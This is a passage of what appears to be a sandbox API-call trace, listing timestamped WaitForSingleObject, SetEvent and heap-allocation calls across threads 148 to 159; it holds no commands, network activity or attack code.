(hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.975] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.102] SetEvent (hEvent=0x190) returned 1 [0065.102] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.135] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 148 os_tid = 0x574 [0059.337] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.549] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1000) returned 0x3b8c460 [0059.549] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x180) returned 0x2a0fc30 [0059.550] SetEvent (hEvent=0x190) returned 1 [0059.550] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.845] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0060.108] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.049] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.092] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.057] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.115] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.178] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.401] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.725] SetEvent (hEvent=0x190) returned 1 [0063.725] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.890] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.618] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.654] SetEvent (hEvent=0x190) returned 1 [0064.654] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.692] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.740] SetEvent (hEvent=0x190) returned 1 [0064.740] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.791] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.851] SetEvent (hEvent=0x190) returned 1 [0064.851] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.976] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.103] SetEvent (hEvent=0x190) returned 1 [0065.103] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.136] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 149 os_tid = 0x814 [0059.337] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.548] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1000) returned 0x3bb20f0 [0059.548] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3bb20f0, Size=0x2000) returned 0x3bb20f0 [0059.548] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3bb20f0, Size=0x4000) returned 0x3b8c460 [0059.548] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c460, Size=0x8000) returned 0x3bb20f0 [0059.549] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1000) returned 0x3b8c460 [0059.549] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c460, Size=0x2000) returned 0x3b8c460 [0059.549] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c460, Size=0x4000) returned 0x3b8c460 [0059.549] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c460, Size=0x8000) returned 0x3bba100 [0059.549] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.845] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0060.108] SetEvent (hEvent=0x190) returned 1 [0060.109] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.049] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.093] SetEvent (hEvent=0x190) returned 1 [0062.093] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.058] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.116] SetEvent (hEvent=0x190) returned 1 [0063.116] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.178] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.402] SetEvent (hEvent=0x190) returned 1 [0063.402] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.726] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.981] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.638] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.679] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.723] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.777] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.835] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.903] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.977] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.104] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.143] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 150 os_tid = 0x38c [0059.337] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.547] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c460, Size=0x8000) returned 0x3baa0e0 [0059.548] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.845] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0060.108] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.050] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.093] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.058] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.116] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.178] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.402] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.726] SetEvent (hEvent=0x190) returned 1 [0063.726] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.982] SetEvent (hEvent=0x190) returned 1 [0063.982] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.638] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.680] SetEvent (hEvent=0x190) returned 1 [0064.680] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.724] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.778] SetEvent (hEvent=0x190) returned 1 [0064.778] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.836] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.905] SetEvent (hEvent=0x190) returned 1 [0064.905] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.978] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.105] SetEvent (hEvent=0x190) returned 1 [0065.105] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.144] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 151 os_tid = 0x804 [0059.337] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.547] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.845] SetEvent (hEvent=0x190) returned 1 [0059.845] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0060.108] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.050] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.093] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.058] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.116] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.179] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.402] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.725] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.889] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.619] SetEvent (hEvent=0x190) returned 1 [0064.619] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.654] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.693] SetEvent (hEvent=0x190) returned 1 [0064.693] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.739] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.791] SetEvent (hEvent=0x190) returned 1 [0064.792] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.851] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.976] SetEvent (hEvent=0x190) returned 1 [0064.976] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.102] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.137] SetEvent (hEvent=0x190) returned 1 [0065.137] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 152 os_tid = 0x92c [0059.337] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.563] SetEvent (hEvent=0x190) returned 1 [0059.563] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.846] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.621] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.055] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.098] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.063] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.122] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.184] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.423] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.725] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.981] SetEvent (hEvent=0x190) returned 1 [0063.981] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.639] SetEvent (hEvent=0x190) returned 1 [0064.639] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.679] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.724] SetEvent (hEvent=0x190) returned 1 [0064.724] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.777] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.837] SetEvent (hEvent=0x190) returned 1 [0064.837] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.904] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.978] SetEvent (hEvent=0x190) returned 1 [0064.978] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.104] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.144] SetEvent (hEvent=0x190) returned 1 [0065.144] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 153 os_tid = 0x88c [0059.338] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.563] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.846] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.621] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.055] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.098] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.064] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.121] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.184] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.423] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.726] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.981] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.638] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.679] SetEvent (hEvent=0x190) returned 1 [0064.679] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.723] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.777] SetEvent (hEvent=0x190) returned 1 [0064.777] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.835] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.904] SetEvent (hEvent=0x190) returned 1 [0064.904] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.977] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.104] SetEvent (hEvent=0x190) returned 1 [0065.104] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.143] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 154 os_tid = 0x910 [0059.338] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.563] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.846] SetEvent (hEvent=0x190) returned 1 [0059.846] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.621] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.056] SetEvent (hEvent=0x190) returned 1 [0062.056] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.098] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.064] SetEvent (hEvent=0x190) returned 1 [0063.064] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.121] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.184] SetEvent (hEvent=0x190) returned 1 [0063.184] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.424] SetEvent (hEvent=0x190) returned 1 [0063.424] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.738] SetEvent (hEvent=0x190) returned 1 [0063.738] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.609] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.646] SetEvent (hEvent=0x190) returned 1 [0064.646] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.684] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.731] SetEvent (hEvent=0x190) returned 1 [0064.731] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.782] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.843] SetEvent (hEvent=0x190) returned 1 [0064.843] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.909] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.985] SetEvent (hEvent=0x190) returned 1 [0064.985] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.110] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.157] SetEvent (hEvent=0x190) returned 1 [0065.157] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 155 os_tid = 0x3b8 [0059.338] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.564] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x180) returned 0x2a0fdc0 [0059.564] SetEvent (hEvent=0x190) returned 1 [0059.564] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.857] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.622] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.056] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.099] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.064] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.123] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.185] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.424] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.737] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.981] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.639] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.679] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.724] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.777] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.836] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.904] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.978] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.104] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.144] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 156 os_tid = 0x820 [0059.338] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.564] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.858] SetEvent (hEvent=0x190) returned 1 [0059.858] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.622] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.057] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.099] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.065] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.122] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.185] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.435] SetEvent (hEvent=0x190) returned 1 [0063.435] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.853] SetEvent (hEvent=0x190) returned 1 [0063.854] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.610] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.647] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.685] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.732] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.784] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.844] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.910] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.985] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.111] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.158] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 157 os_tid = 0x824 [0059.338] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.564] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.846] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.621] SetEvent (hEvent=0x190) returned 1 [0061.621] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.055] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.098] SetEvent (hEvent=0x190) returned 1 [0062.098] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.063] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.122] SetEvent (hEvent=0x190) returned 1 [0063.122] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.184] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.423] SetEvent (hEvent=0x190) returned 1 [0063.423] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.738] SetEvent (hEvent=0x190) returned 1 [0063.738] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.610] SetEvent (hEvent=0x190) returned 1 [0064.610] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.645] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.684] SetEvent (hEvent=0x190) returned 1 [0064.684] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.730] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.783] SetEvent (hEvent=0x190) returned 1 [0064.783] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.842] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.909] SetEvent (hEvent=0x190) returned 1 [0064.909] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.984] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.110] SetEvent (hEvent=0x190) returned 1 [0065.110] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.158] SetEvent (hEvent=0x190) returned 1 [0065.158] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 158 os_tid = 0x90c [0059.339] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.584] SetEvent (hEvent=0x190) returned 1 [0059.584] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.858] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.013] SetEvent (hEvent=0x190) returned 1 [0062.013] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.057] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.100] SetEvent (hEvent=0x190) returned 1 [0062.100] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.065] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.124] SetEvent (hEvent=0x190) returned 1 [0063.124] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.186] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.434] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.738] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.609] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.646] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.684] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.731] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.783] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.843] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.909] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.984] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.110] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.157] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 159 os_tid = 0x818 [0059.339] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.584] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.858] SetEvent (hEvent=0x190) returned 1 [0059.858] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.013] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.058] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.100] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.065] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.124] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.186] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.435] SetEvent (hEvent=0x190) returned 1 [0063.435] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.854] SetEvent (hEvent=0x190) returned 1 [0063.854] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.612] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.648] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.686] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.732] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.785] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.844] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 